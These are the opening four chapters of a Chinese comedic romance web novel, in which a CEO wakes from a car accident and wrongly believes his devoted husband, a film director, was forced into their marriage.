《沙雕攻以为他强取豪夺》
1. 第 1 章
“其实，我一直都记得。”
试镜室里，长相清秀的小生缓缓抬头，朝镜头露出最完美的侧脸。
复杂充满情感的台词，经他平淡无奇地浅薄棒读，显得做作虚浮。
念完台词，小生不动声色地调整姿势，试图将一个凄美的剪影定格在镜头下，眼睛开始努力挤出忧伤的情绪。
那双死鱼眼即将抽筋前，副导演赶紧喊了一声：“卡——”
小生不满地瞥了副导演一眼，立马撒娇似地转头对坐在正中的青年道：“裴导，我还能继续演~
“我特别认真研究了剧本，男主的情感很复杂，我还没完全表现出来呢。”
被称作裴导的青年看上去非常年轻，容貌俊美昳丽，有种冷淡的上位者气质，光凭长相甚至比圈里许多人更出色。
小生暗暗心生羡慕嫉妒恨，但不敢表现出来轻视。
黄总可说了，裴导才是整个导演团队的核心，拍板定案的那个人。
裴澈刚在试镜笔记上写完一行字，连眉毛都没抬一下，神情浅淡地说：“已经足够了。”
见裴澈没有露出不悦，小生还以为这是在夸自己，顿时喜上眉梢，张口还想再套几句近乎。
被毫不留情地打断：“感谢你参与试镜，回去等消息吧，最终结果会在3个工作日内电话通知。”
裴澈的嗓音清浅，语气中却带着不容置喙的坚决。小生一愣，乖乖道了声“裴老师”，心里暗自庆幸有黄总的面子，愉快地走了出去。
一边的副导演眼观鼻鼻观心，等门关上才忍不住笑出来。
作什么妖，也不看看自己在哪尊庙里，这么拙劣的表演还做白日梦呢？裴导可是出了名的眼里揉不得沙子，只是他尊重试镜礼仪，不当场让人难堪罢了。
副导演收拾着桌上的资料，正准备和裴澈开个玩笑，却见裴澈拿起手机，脸色刷地一白。
他第一次见裴导如此情绪外露，连招呼都没打就急匆匆冲出了侧门。
*
黑色的沃尔沃在马路上疾驰。
电话接通，裴澈声音焦灼：“贺朝觉怎么样了？”
贺朝觉是他的丈夫，两人结婚多年，感情深厚。
谁能想到，伴侣出了车祸昏迷不醒，自己因为手机误触静音，竟然错过了两个小时前的紧急消息。
裴澈懊悔不已，心中又是担心又是害怕。
好在电话那头的李特助十分冷静，简洁明了地汇报了贺朝觉的情况，特别强调医生的乐观判断，稍稍安抚了裴澈焦急的心。
与此同时，单人病房里，沉睡已久的男人眼皮猛然一颤。
疲惫……沉重……
像是飘荡已久的灵魂终于找到了归处，缓缓下沉，重新落回熟悉的身体。
鼻端消毒水的气味渐渐鲜明，贺朝觉慢慢睁开眼睛，不敢置信地将手举到眼前，五指张开又合拢。
如同生锈的木偶获得生命，动作从僵硬滞涩到逐渐灵活，触感从指尖的每一处神经末梢涌回身体。
贺朝觉感受着这一切，心中一阵激动。
他居然回来了！
自从被那个小偷侵占了身体，贺朝觉就只能以游魂状态跟在那人一旁游荡，看着那人顶着自己的身份胡作非为。如此日久，魂体越来越虚弱，迟早要彻底消失。
没想到一场车祸，巨大的冲击力没有把他撕碎，反而因祸得福……
贺朝觉的瞳仁闪过一丝幽深，低声自语：“三年了，终于拿回了我的身体。”
“这一回，我一定要——”
虚掩的病房门突然被推开，贺朝觉迅速转头——
一个满面愁容的男人低头走了进来，指头在手机键盘上飞快敲打着，似乎在给谁发信息。
李特助一抬头，正对上贺朝觉的目光，瞬间怔住，随即三步并作两步冲到床边，惊喜地喊道：“BOSS，你醒了！”
贺朝觉可有可无地嗯了一声。
李特助毫不在意，高兴地问：“BOSS，你刚才说什么？你一定要做什么？”
贺朝觉没有回答，高深莫测地转头看向窗外，心中暗自警惕。
眼前这个人，是曾经鸠占鹊巢的那个“贺朝觉”的心腹。
现在他回到了自己的身体，要想瞒过这个与“贺朝觉”关系亲密的李特助，恐怕并不容易。
李特助：？？？
BOSS怎么不说话，刚刚难道是他听错了？BOSS刚醒，好像不太适应说话的样子。
看贺朝觉泰然自若，李特助释然了，刚刚应该是麻醉醒来后神志不清的胡言乱语，BOSS自己也没意识到吧。
于是他低头调出裴澈的号码：“BOSS，我这就给裴先生打电话，他刚才已经在路上了，听到你醒了肯定很高兴。”
贺朝觉的头不自觉扭回来，目光沉沉：“裴先生？他来干嘛？”
李特助要拨号的手疑惑地顿住，BOSS这是什么意思？
贺朝觉冷冷道：“让他别来了。”
记忆还有点模糊，贺朝觉想不起来这人的全名和相貌，但还记得，那个“贺朝觉”这几年正事不干，倒是上演了一场强取豪夺虐身虐心的闹剧，而这个裴……就是强取豪夺的对象。
没什么好见的，这几年他看得很清楚，对方应该也不愿见自己。
李特助抬眼看着他，脸上写满了不可置信，犹豫了片刻才欲言又止地低头。
贺朝觉眉头微皱，心里一紧。他怎么忘了，李特助可是那个“贺朝觉”的忠实走狗，可能会为难那个裴……叫什么来着。
果然还是想不起来。
不过纠结了半秒，贺朝觉便将这点疑惑抛在脑后，语气微冷：“他不是忙着试镜吗？让资源尽量倾斜。”
不忘警告道：“别为难他。”
想到那人的境遇，贺朝觉内心莫名复杂。裴……姓受害人多年来在娱乐圈中步履维艰，在那个“贺朝觉”的刻意作弄下，连试镜接戏都处处受阻，目前还只是个不入流的小演员。
哦，原来是担心伴侣的工作……不是，谁敢为难裴导啊？
李特助心中腹诽，不敢反驳。
正当他准备拨打电话时，贺朝觉突然挪动身体，倚坐起来：“去办理出院手续，我要回公司。”
啊？李特助急了：“回公司？BOSS，你现在还不能出院——”
贺朝觉冷冷地看了李特助一眼，没有多余的言语，只是轻轻发出一声：“嗯？”
李特助话语瞬间被堵在喉咙里。
笑话，当然要出院。贺朝觉心里冷笑，作为公司的掌权人，怎么能在这种时候掉链子？他低下头，瞳仁深邃得不见底。现在最紧要的是重新掌控公司事务，尽快熟悉一切。
李特助：生活不易，社畜叹气。
上司不好沟通，他只能一边去办手续，一边疯狂给裴澈发消息，祈求唯一管得住老板的人赶紧来救场。
在李特助的消极怠工下，裴澈赶到医院时，正赶上贺朝觉出院。
他戴上探视的粉色手环，从导诊台前转身，就看见右侧的大电梯门徐徐打开，一道身影走了出来——
吊瓶支架在大厅地面划出骨碌碌的声音，面色冷峻的男人穿着宽松的病服，绷带
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下的发型乱蓬蓬，手扶着吊瓶支架，气势却依然凌厉，宛如从战场归来的王者，走出了六亲不认的步伐。
李特助心力交瘁地跟在后面，手里还捧着一堆出院手续单子。
没办法，他实在是拦不住啊。
裴澈先是不敢相信自己的眼睛，等反应过来，顿时气不打一处来，忍不住高声喊道：
“贺朝觉！你干嘛呢？”
碎玉清冷的声音卷着压不住的怒火，掠过人群传到不远处的贺朝觉耳朵里。
好耳熟的声音……
这是他的第一反应，随即是后脑伤处又开始隐隐作痛。
贺朝觉下意识抬头看去——
首先攥住他心神的是一双眼尾带红的眼睛，像是一道光晕破开旋转的世界。
一股熟悉的情感从心底涌出，贺朝觉有一瞬的恍惚，那双眼睛，充满愤怒，却又隐隐透出难掩的失望和……心疼？
贺朝觉心头一紧，不自觉地吞了口口水。
有点心虚是怎么回事……甚至身体条件反射地有些腿软。
他下意识地想把这归咎于车祸的后遗症，可能真的是没休息好。
贺朝觉一个立正，嘴硬道：“你、你管我！”
一边的李特助肃然起敬：这就是传说中的站着下跪吗？
裴澈：“？？？”
他额头突突，瞬间挤开人群站到贺朝觉跟前。
贺朝觉能感觉到身体残余本能正危险战栗。
他不为所动、嗤之以鼻。这个人应该就是裴姓受害人了。那个“贺朝觉”对他的反应还挺大。
与此同时，贺朝觉的目光顺着惯性漫不经心地抬起，看向这个他想不起来长相的受害者。
闯进视野的青年清冷绮丽，眉宇间尤带散不去的忧悒和怒气，冲淡了五官冷丽的艳色。
像雪山之巅消融的冰花，苍白的唇瓣微微颤抖，又如同被折皱萎败落入人间的花瓣。
“！！！”
这、这……贺朝觉傻了。
裴澈怒气冲冲地逼近，眼看贺朝觉一副发呆的模样，心头的火气更甚：“你疯了吗？车祸刚醒就急着出院，是不想要命了吗？”
眼前人的面容和贺朝觉记忆里的脸渐渐重合，只是回忆里那张要年轻一些，回归身体后围绕“裴姓受害人”的记忆空洞也被一一填补。
惊艳的余悸仍然在胸膛鼓噪，噩梦浮现的前奏猛地攥住心脏。
“咚咚、”
“咚咚、咚咚——”
巨大的轰鸣声同时在胸腔和耳畔响起，是那个“贺朝觉”意识的残留，也是他自己恐慌的具现。
贺朝觉的视线忍不住上移，和青年四目相对。
鼻腔一热。
裴澈瞳孔微缩，看着贺朝觉目露震惊地看着他，两行血色从鼻孔蜿蜒而下。
医院大厅瞬间兵荒马乱。
路过的医护人员匆匆过来，裴澈也第一时间冲过去搀扶，被贺朝觉“砰——”地躲开。
他紧紧抓着李特助的手臂，从头到尾只呆呆地叫了一句：“裴澈。”
一句话就让裴澈刚起的怒气全散了，他站在视窗边，看着贺朝觉被强压回病床上。
怪异的感觉让他忍不住拧着眉头。
那是什么意思，贺朝觉那么叫他，就好像他是一个熟悉的陌生人……
一窗之隔的病房里，贺朝觉被护士连接上一堆仪器，蔫蔫巴巴地任人摆弄。
他双目无神，再没了先前要整顿公司的豪情。
怎么办，被强取豪夺的那个受害人，是他心心念念许多年不敢下手的白月光！
2. 第 2 章
裴澈并不知道，贺朝觉的脑瓜里在想多么离谱的事。
从他这个视角正好能看见贺朝觉的脸，平日里稳重靠谱的男人，这会失去了精气神儿。
头顶厚重的纱布将额发压在下面，一小绺头发不听话地支楞在外面，显得潦草又可怜，看得裴澈心脏都皱缩起来了。
一允许家属进入，他就急切地坐到病床边，将方才的怪异抛之脑后，自然地伸手拉向贺朝觉空闲的左手：“感觉怎么样？”
指尖力道轻柔，温凉的存在却让人不敢忽视。
贺朝觉瞬间如坐针毡，下意识抽开手。
裴澈有些疑惑地低头，又坐近了一些打量他：“不舒服？”
见男人不答，他忍不住站起身，忙不迭道：“哪里不舒服？”
因为着急，他整个人近乎贴了上来，说话时温热的吐息拂在贺朝觉脸上，让他浑身一僵。
贺朝觉连忙出声：“没有，没有不舒服。”
身侧的温度令人不敢忽视，贺朝觉不安地往一边挪动，刚抬了下屁股，方才抽开的手又被裴澈按住。
这下力度要大一些。
“别动，”裴澈轻皱眉头，用下巴指了下贺朝觉右侧连接的仪器，“一会给弄掉了。”
贺朝觉只好不动了。但按在他手背上的温热没有撤去，而是进一步轻轻握住整只手掌。他浑身一僵，不自在地拔了一下，却没有挣脱。
裴澈下意识顺着力道松开手，奇怪地看了一眼贺朝觉。
男人微微垂首抿着唇，好像很不自在的样子。
也没有哪里不舒服，那……哦，裴澈突然反应过来。
贺朝觉向来身体好，少有进医院的时候，而且他也不是很喜欢医院。
裴澈唇间浮上些许笑意，修长的手指在老攻手背上轻敲两下，语带安抚：“你好好呆着，我给你切个苹果。”
那温度移开，漂亮清冷的青年在床头拿了只苹果转身出门，病床上的贺朝觉暂时松了口气。
他重重地闭上眼睛，困惑又躁动，要不是刚被提醒过不要乱动，真忍不住将手插进头发里狠狠抓两下。
这是怎么回事？裴澈不应该特别讨厌那个“贺朝觉”吗？和自己亲近应该会特别恶心吧。
想到“恶心”二字，一阵酸软的痛楚滚过心头，温凉柔软的触感似乎还残留在手背，贺朝觉出神地看了一会，猛地闭上眼睛。
不行！
裴澈主动亲近他肯定是有原因的，更别说主动去切苹果……
水槽边，裴澈将洗好的青苹果放在果盘里，擦净手接通电话。
“喂，妈。”
电话那头响起中年妇人焦急的声音：“澈澈，朝觉醒了？你在那边怎么样？他还好吗？”
裴澈缓声安抚：“妈你别着急。不幸中的万幸，目前只是轻微脑震荡，后脑有些淤血，做了检查在观察治疗，医生说问题不大，我刚刚还和他说话呢。”
“那就好。”
电话里裴母松了口气，裴澈隐约听见车引擎的声音：“你要过来医院？”
因为听说没事了，电话那头的声音轻快许多：“还是你敏锐，我和你爸一块过去，一会就到。”
一道中年男音在旁严肃地应声。
贺朝觉亲情缘薄，唯一相依为命的姥爷前几年也去世了，还是裴澈陪他一块打理的后事。裴父裴母是真心喜爱贺朝觉，也心疼他，把他当成第二个儿子，关系一向很好。
叮嘱完一句注意安全，裴澈将盘中苹果切好，端着盘子折身回去。
贺朝觉和过年独自守家的猫似的，打他一进门，那双眼睛就嗞溜扫过来，一直黏在他身上。
裴澈暗笑一句挺可爱，自然地坐回床边，捻起一条苹果准备试吃。
青色果皮光亮润泽，在青年修长白皙的指间显得格外诱人，手指一动，就被送向青年的嘴唇——
贺朝觉慌乱将视线转向果盘。
挂着鲜亮的水珠，果肉望着就酸甜可口，冰镇过的青苹果去核直接切成条状。
是那个“贺朝觉”喜欢的吃法。
贺朝觉刚刚生乱的心跳猛然冻住。
裴澈尝了一口苹果，视线跟随他移动到果盘上，浅笑解释：“医生说不能吃凉，会引起血管收缩，所以没有冰镇过。”
“不过我帮你试过了，这个品种口味不错，不冰镇也很好吃。”
说着，他自然地把那缺了个角的苹果条递到贺朝觉嘴边。
贺朝觉完全没意料到他会这么做，僵硬着没动，迟迟没张嘴，只有眉毛缓缓皱了起来。
裴澈唇边浅笑未收，还继续说着：“爸妈听说你醒了，说要来看看你，一会就到。”
“什么？”贺朝觉瞳孔地震，下意识反问道。
裴澈意识到哪里不对，举着苹果条的手停在半空，秀气的眉头也蹙起来：“到底怎么了？”他似乎要用手背碰碰贺朝觉的脸，“真的有哪里不舒服？”
贺朝觉躲也不是不躲也不是，最终僵硬在原地，干巴巴地回了一句：“我知道了，我会配合你的。”
原来，裴澈讨好他，只是为了乞求他不要在父母面前让自己难堪。
确实，在他父母面前粉饰二人关系，几乎是那个人威胁掌控裴澈的一种手段。
看进裴澈眼眸里的忧怯，贺朝觉心痛如绞，没等他再说话，默默低头叼住了苹果。
现下情形，不接受他的讨好反而会让他想更多。
贺朝觉一脸悲壮地咀嚼着苹果，把它当作那个人罪行的证据。一想到裴澈眼里的自己和那个人没有区别，他更是五味杂陈。
才一会儿功夫，贺朝觉脸上就和开了染坊一样，各色情绪闪烁不定，饶是了解自家老攻如裴澈，这下都看不明白他到底在想什么了。
加上他说话驴头不对马嘴，裴澈的心里渐渐沉重起来，这……难道是大脑哪个功能区受损了？
坏念头起了就止不住，但裴澈不想让他看出自己的担心，佯装轻松问道：“好吃吗？”
贺朝觉：……味同嚼蜡。
但他不想让裴澈更加惶恐，点点头：“好吃，确实不凉。”
两人各怀心事，一个吃一个喂，一会就把一盘苹果消灭了。
很快，裴父裴母赶到了医院。听见敲门声，裴澈把二老引进来，病床边瞬间坐得满满当当。
裴母见了贺朝觉顶纱布绑仪器的病患模样，眼眶忍不住红了，拉起他的手：“遭罪了，看着都憔悴了。”
裴澈生怕贺朝觉语出惊人，让父母担心，抢先安慰道：“好多了，刚还吃了个苹果呢。”
说着给贺朝觉使了个眼色。
贺朝觉连忙跟着开口：“妈，是好多了，你瞧我现在说话不是挺有条理的。”
他声音略有点低哑，但听着确实中气十足，裴母拉过他的手，细细端详：“头还疼不疼，澈澈说还有淤血没散掉？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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裴澈自然地帮他回答：“还有点疼，不过医生说这是正常的，已经脱离危险了。”
贺朝觉便不说话，跟着默默点头。
裴母奇怪地看裴澈一眼，突然反应过来“哎哟”一声，自责道：“是我疏忽了，朝觉这伤在头上，讲起话来应该不好受。”
于是她让贺朝觉别说话了，最好也别点头，扭头和裴澈询问了一些他的状况，又反复叮嘱他好好休息。
裴澈松了口气，整个人交谈状态都变轻松了许多，这些变化都被贺朝觉看在眼里。
他一边沉默着听裴澈和父母交流，不动声色低头藏下眸底的痛色。
果然，向来清冷倔强的人，是求自己……求那个人在裴父裴母面前不要过分。
贺朝觉不是那个人，他当然不会过分。实际上，几人聊天氛围很好，甚至很温馨，让贺朝觉都有点恍神。
天色渐暮，两人的探视差不多该结束了。
裴母提着手包站起身，叮嘱裴澈：“头受伤不能吃太油荤的，我让刘嫂做了两个菜，交给小李了。明天让司机给你们送饭，等回家了，让刘嫂去你们那照顾几天。”
裴澈一一应着。
裴父则严肃地让他这几天把工作放放：“我知道你这几天正试镜，但陪伴家人的时间可不能给工作让步。”
听见“给工作让步”，裴澈下意识瞥了一眼贺朝觉，一下想起来自己刚到医院看到血压上升的那一幕。
贺朝觉：？？？
虽然没看懂裴澈的情绪，但在脑子反应过来之前，他已经条件反射坐直了。
裴澈：……
本来还有一点点生气，突然也消散了。
贺朝觉正襟危坐，不知道做出什么表情好。刚才裴澈这一眼，肯定是因为说起了他试镜演戏的话题，生怕惹恼自己吧。
所幸裴澈已经起身，去送父母离开，留下思绪混乱的贺朝觉一个人在病房里。
他眼神明暗变换，最后下定决心，自己还是要把心思多放在工作上，给裴澈留出足够安全的空间。
.
送完父母回来，裴澈在电梯里碰见抱着一叠报告的李特助和医生同行。
李特助眼睛一亮：“裴先生，我要去取一些文件，您和医生先聊。”
取文件？裴澈没有多想，贺朝觉突然入院，公司那边许多事情都要李特助去处理。
他着急地问医生：“贺朝觉情况怎么样，怎么会突然流鼻血？”
“这是情绪激动导致的血压上升。”
头发花白的医生抬抬眼镜，不赞同地摇头，“家属得劝着点，怎么能刚醒就急着出院。”
裴澈：……
他默默背下这口大锅，又追问了一些情况，医生说病人的杏仁核和海马体收到了一些震荡影响，暂时会存在情绪外露的症状，记忆认知也可能会有一定影响，不过都是可逆的。
听到可逆，裴澈松了口气，面色缓和许多。
但想到贺朝觉刚才的异常，他又略带犹豫问道：“我先生刚才好像有些不对，他对亲近的肢体接触有些不明显的抵触，这个也是正常的吗？”
医生沉吟一声：“可能是杏仁核的创后影响，患者现在比较缺少安全感。可以适当根据患者的意愿减少接触，熟悉的环境也有助于恢复。”
减少接触……
送走医生，裴澈对这个答案有点哭笑不得，以前可都是贺朝觉主动黏着他的。
3. 第 3 章
重新回到病房，裴澈坐下时留意分寸，贴心地没离贺朝觉太近。
眼睛一直挂在他身上的贺朝觉，心头的第二只靴子终于落了地。
果然，是因为刚才父母在，才不得已和他亲近。
在裴澈眼里，贺朝觉微妙地松了口气，眉毛却有些忧悒地耷拉下来，不熟悉的人根本看不出。
这是怎么了？裴澈眨眨眼，不明白自己都保持距离了，他怎么还有点不高兴。
再看贺朝觉一直有些紧绷的状态，裴澈以为还是医院的环境让他不舒服，一本正经开玩笑：“怎么，看见我坐在这里很失望？”
清冷的青年目光凌凌，凤眼一抬，张口就是极具攻击性的话。
听得贺朝觉心尖一颤。
裴澈故意停顿了下，下一句“以为可以出院了？”还没出口，就见贺朝觉脸色大变。
他像被裴澈的话语烫到，红意一下从脖子燎起来，血色转眼又是褪尽了。
贺朝觉表情闪烁，良久转头闷声：“……我没有想那些。”
什么？
裴澈眼睛缓慢眨了眨，回忆自己刚刚说了什么。
“看见我坐在这里很失望？”“……我没有想那些。”
老夫老妻，裴澈原本只是没细想，看见贺朝觉那躲闪的眼神羞赧的表情，也知道他想到哪去了。
不坐在这里还能……这都什么跟什么。
对老攻突破天际的想象力有了新的认识，裴澈羞恼提高音量：“贺朝觉，这是在医院，你一天到晚都想些什么乱七八糟的！”
贺朝觉被训得一僵，穿着病服的身形都萧瑟了几分。
可怜巴巴的样子看得裴澈心一软。
医生说他暂时会有些情绪外露，自己是不是太苛刻了。
于是清清嗓子：“咳咳、我知道你不习惯在医院，医生说再观察两天就可以回家了。”
正赶上贺朝觉纠结一番，转头郑重对他说：“我们的交易中止吧。”
“什么？”
“什么？”
两个人异口同声，表情同样困惑又震惊。
贺朝觉率先反应过来，幽深的眼神充满伤痛地看向他，说：“你不必这样。”
他顿了顿，又说：“我不会再强迫你了。”
裴澈：？？？
什么交易？什么强迫？什么不必这样。
想起医生说贺朝觉的言语功能区没有问题，只是记忆认知可能出现一些偏差，他试探着问道：“你还记得我们是什么关系吗？”
贺朝觉偏过头，声音低沉：“嗯。”
嗯，是什么意思？
裴澈有点拿不准，就看见贺朝觉又把头转了回来。
好像下定决心似的，眼神深沉幽深的看着他：
“我知道，我虽然能留下你的人，但留不下你的心。”你已经告诉过他很多遍了。
“……”
裴澈面无表情地看了贺朝觉一会，腾地站起来就往病房外面走：
“医生！”
*
贺朝觉重新被贴上许多仪器极片，里里外外检查了个遍，医生捧着一叠量表，站在床头边问边打勾。
“怎么样？”检查结束，裴澈又找到医生，这次表情格外严肃。
“有点奇怪，”医生翻看着量表报告，“结果显示，病人的逻辑能力非常强，甚至超过一般的正常人，不应该出现胡言乱语的情况。”
“逻辑能力很强？您之前提到，他没有失忆迹象，但认知可能出现偏差对吗？”
“是的，没错。”
“那——”裴澈轻咬下唇，犹豫半晌提出一个假设，“有没有可能，他的记忆其实出现了缺失。但是用强大的逻辑能力自己补完了。”
俗称，脑补。
医生说不排除这个可能。拜别医生，裴澈目光沉沉地站在病床前，看着面前这个气质澄澈到有点傻的老攻。
贺朝觉则忐忑地低着头，感受裴澈的上下打量。
有点奇怪。/有点奇怪。
这样的心理同时闪过他们心头。
裴澈是科班导演出生，十分擅长揣摩人物心理。
贺朝觉之前那些颠三倒四的话他只是没放在心上，现在有了记忆自动补完的假设，一下串起来了。
句里行间的意思直指一个结论：
贺朝觉认为他们的婚姻建立在不情愿的基础上，其中裴澈是被强求的一方。
从心理角度分析，这是贺朝觉内心不安全感的体现。
为什么，他们的感情不是很好吗？
为什么，他们的感情不是根本不存在嘛？
贺朝觉很困惑，刚刚他提出中止交易，这明明是裴澈一直想要的东西。
放他自由，离开……自己。
光是想到这贺朝觉就心如刀绞，但只要裴澈能快乐，他什么都愿意做。
为什么裴澈的反应反而非常激烈，就好像……
就好像他并不想结束这段畸形的关系。
难道是——
贺朝觉猛地抬头，直接了当地对裴澈保证：“你放心，我们签订离婚协议，我不会对你的家人下手。”
“哐当——”
一声重物落地，两人同时朝响动传来的方向看去——
门口的李特助抹着汗蹲到地上，头也不抬地捡地上掉落的文件，捡了掉掉了捡。
“BOSS裴先生你们继续，我什么都没听到！”
背影落荒而逃，还不忘把门关上。
房间里的两个人回过神，视线重新对上。
裴澈率先打破沉默，拿过一边小几上的保温桶：“你还是先对妈送来的鱼汤下手吧。”
贺朝觉很着急，但裴澈不允许他着急。
修长手指执调羹在鱼汤碗里轻慢搅和，一勺一勺送到他嘴边。
对贺朝觉来说，简直是梦里的场景。
起初他还试图拒绝，或者犹豫要不要就此打住，但细腻鲜美的鱼汤一口一口滑入胃囊，逐渐消磨了他的意志。
熨帖的温度仿佛将他拉入了一个舒适的幻梦，整个人如同泡在温水里暖洋洋的。
床边照顾的青年眉眼舒展，表情认真专注，喂鱼汤的样子就好像自己是世界上最重要的人。
一碗鱼汤吃完，裴澈还取过纸巾，细致地给贺朝觉擦擦嘴角，然后不顾他复杂的眼神，飞速低头在额头落下一个轻轻的吻。
一直到裴澈快步走出病房，贺朝觉还没有回过神来。
滚烫的温度从嘴唇烙下的地方蔓延整个面部，贺朝觉整个人都煮熟了。
闭上眼，似乎还能感受到裴澈温柔的吻。
可这份温柔背后是不是无奈和隐忍？贺朝觉心头一凛，甜美的幻梦像是泡沫般破碎开来。
他的心简直在滴血！
都怪他没有注意到裴澈的情绪。
长期被锁链禁锢长大的小兽，即使被松开锁链，活动范围也不会超过锁链的半径。
他早该想到，作为长期处于那个“贺朝觉”威势下的受害者，裴澈心里的锁链早就牢不可破！
鱼汤味重，裴澈一会得再和副导们碰一面交代工作，特意去洗手换了件衣服。
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站在水池前，水流在手心滑过，他望着镜中的自己，心中思绪纷杂。
贺朝觉的不安全，是不是……和自己有关。
再回到病房，贺朝觉已经换了一副更加万分痛心的神情。
裴澈：“……”
他不在的短短几分钟里，这是又脑补了什么……
不能这样下去了。裴澈握了握拳，直接开口：“我和医生聊过了，你的记忆可能有些受损。”
“我没——”贺朝觉下意识反驳，被裴澈打断。
他深吸一口气，对着贺朝觉的眼睛认真说道：
“贺朝觉，接下来这句话我可能没有好好说过，但以后你想听多少遍都可以，你听好了——”
“我真的很喜欢你，对我们的婚姻状态也非常满意……”
老夫老妻，床笫之间什么荤话没被贺朝觉逼着说过，但这么正儿八经地表白，还是让素来清冷的裴澈两颊飞上红晕。
只是他万万没有想到，自己精心准备用来宽慰老攻的话才说个开头，贺朝觉脸色大变。
彷佛天在他头顶塌了下来，整个压在他肩上，贺朝觉脸上血色全无，嘴唇微微颤抖。
“别……别说了。”
裴澈：……
他闭嘴了。
贺朝觉这个状态，裴澈实在不放心他一个人在医院。
好在这两天主要角色的试镜已经结束，关于选角也讨论过多次，裴澈给副导们匆匆打了几个电话，把能定的角色先行确定下来。
“小陶，剩下的角色试镜笔记和选角意见一起送到我家去。嗯对，一会就办理出院。”
挂断和助理的电话，裴澈松了口气，投过窗户看见外面的天色逐渐暗沉。
夕阳迫近楼宇，反射在不远处的玻璃幕墙上，映出一片橘调的粉蓝天空。
病房里的贺朝觉眉头紧蹙：“出院回家？”
“你之前不是还急着出院吗？”裴澈今天头疼就没停下来过，没想到办理出院又弄幺蛾子，“怎么听见回家就不乐意了？”
贺朝觉很硬气地没理他，实际上内心慌得一批。
裴澈为了讨好他，竟然做到这个地步！
他们之间，哪里称得上家！
贺朝觉抱胸偏过视线，对一旁收拾东西的李特助冷哼一声。
李特助抖了一下，利索的手放慢下来。
裴澈眉毛一挑：“继续收拾。”
李特助立马加快速度，好像就等着这句话。
最终还是病号BOSS的细胳膊拧不过裴先生的粗大腿，李特助打包好文件，高高兴兴地将两人送到车上。
转过弯道，车流和人声逐渐稀疏。
裴澈放慢车速，看着一幢独栋别墅的轮廓渐渐显露在面前。
薄暮时分的光影染过前庭的树梢，徐徐打开的大门之后，草坪间的碎石路欢迎着主人的归来。
这是他们婚后一同居住的家，前庭和内部软装都是贺朝觉亲自操刀设计，可以说是他一手打造的“爱巢”，应该能让他有安全感吧。
裴澈停好车，不确定地朝后排望去。
贺朝觉上车就自觉坐后面去了，裴澈好不容易哄他同意出院，也就由着他去了。
此时，男人一半身子掩藏在阴影里，维持着从上车开始没有变过的僵硬坐姿，夕阳斜斜照进来，他露在光里的半张脸上，似流出几分莫名的情感。
贺朝觉神色深沉地看向眼前那栋别墅。
庭院深深，树影苁蓉。
这，就是那个“贺朝觉”一手为裴澈打造的金丝雀笼！
4. 第 4 章
“到家了。”
裴澈解开安全带，绕到车后打算仿照平日贺朝觉的样子给他开门。
手刚刚按到把手上，后座的男人猛地惊醒过来，隔着车窗和他对视。
惊鸿一眼，然后——
光速打开另一侧车门，用一种很不优雅的方式蛄蛹出去了。
手停在半空的裴澈：……
因为骤然见到别墅，贺朝觉脑子里关于裴澈的一些模糊记忆突然变得特别清晰。
其内容……堪称集齐了一本刑法。
他逃避裴澈的行为纯属应激本能。
回过神来也觉得自己反应过度，视线滑过眼前保存着太多不堪罪证的别墅，强行清清嗓子：
“别强迫自己做不喜欢的事。”
丢下这句深沉的语句，男人三步并作两步，火烧火燎地进了家门，只留给裴澈一个萧瑟的背影。
几分钟后，贺朝觉被匆匆追上来的裴澈堵在了二楼卧室门口。
因为贺朝觉跑得比兔子还快，着急追赶的裴澈略有些气喘。
“你跑什么！”
“我，我……”
贺朝觉犹豫不决，视线游移，身后卧室的门仿佛吃人似的灼烫，眼前的裴澈更是让他不敢直视——
因为方才大步追赶着上楼的动作，平日总是冷静清浅的人，此时额际散落着几缕发丝，甚至蒙了一层薄薄的汗，冷白的俏脸上浮出红晕，渐渐和一些不合时宜的场景重叠。
配合上身后不知怎么就自动寻路被脚给带过来的犯罪现场，贺朝觉只觉得嗓子发干，支支吾吾半天不知道该说什么。
“贺朝觉！”裴澈直截了当打断他，“强迫自己做不喜欢的事是什么意思！”
裴澈两眼亮得能喷出火星，开口时还强行压着情绪，最后几个字已经带上了点哭腔。
几日来，新剧项目启动演员试镜一系列事情忙得不可开交，又遇上今天贺朝觉车祸，心情大起大落。
老攻看起来好好的没什么问题，偏偏撞坏了脑子非要和他保持距离。
积攒的情绪因为回到两人小家这个熟悉环境，一下子全爆发出来了。
裴澈眼角发红，又气又委屈地控诉：
“你觉得我不想给你开门，还是我根本就不想接你回家？”
贺朝觉的心都化了。
他记忆里的裴澈总是清冷的很，带着点让人难以接近的气质。
眼下却因为他的缘故，委屈成这样。
贺朝觉啊贺朝觉，在医院的时候你不是对自己说，只要裴澈能快乐，你什么都愿意做。
既然这样……
贺朝觉伸手把裴澈揽入怀里，有些笨拙地拍打安慰。
“是我说错话了，你想做什么都可以。回……家很好，你接我回来，我很高兴。”
裴澈比自己想象的敏感许多。
贺朝觉暗自下定决心。
必须正视那个“贺朝觉”犯下的罪过，徐徐图之，慢慢用实际的言行给予裴澈安全感，在他愿意相信的时候再提出放他自由。
抱着温存了一会，裴澈倒有点不好意思起来，觉得自己刚刚太小题大做。
他拍拍贺朝觉的胳膊，恢复了往日清冷模样：“你刚出院，先去房间里躺着吧。”
贺朝觉闷声应下，这次没再抗拒，乖乖打开卧室的门走了进去。
只是一边往里走，他的心砰砰乱跳提到了嗓子眼上，如果裴澈跟上来，提出……他要怎么处理。
目送老攻同手同脚地走进卧室，裴澈无奈抬手捏捏眉心。
还以为说开就好了，也是，急不来。
于是贴心开口：“我还有试镜笔记要看，先去书房待一会，你如果困了就睡会。”
他走得干净利落，让贺朝觉松了口气。
按下心里同步升起的微妙失望，贺朝觉环顾四周，墙挂照片、摆件装饰、床品家具，处处充满两个人一起生活的气息。
相比之下，自己从不踏足的书房，才是真正属于裴澈的安全空间。
书房里，活页本上拆下的资料文件散落一地。
演员角色卡、试镜笔记、选角建议。
分门别类地铺开在地上，凌乱中带着奇异的秩序，通过阅读者的研究分析串连起来。
裴澈赤足坐在中间的地毯上，迅速从海量信息中筛选权衡。
整个房间打造成最适合他思考的样子，和主人冷静有条不紊的气质相反，处处以舒适为导向。
相比于书桌前的人体工学椅，多数时候裴澈更喜欢这样直接在地上，因此全屋都被贺朝觉铺满了厚厚的绒毛地毯，还配有感应式恒温系统。
裴澈伸手从试镜笔记里挑出两份。
修长的指头停在两个演员之间，似乎是犹豫不决。
其他主要角色，他已经心里有数，只有这最后的男三。
不是因为试镜表现太好让他难以抉择，而是因为，太差了！
差到让他怀疑，其中有鬼。
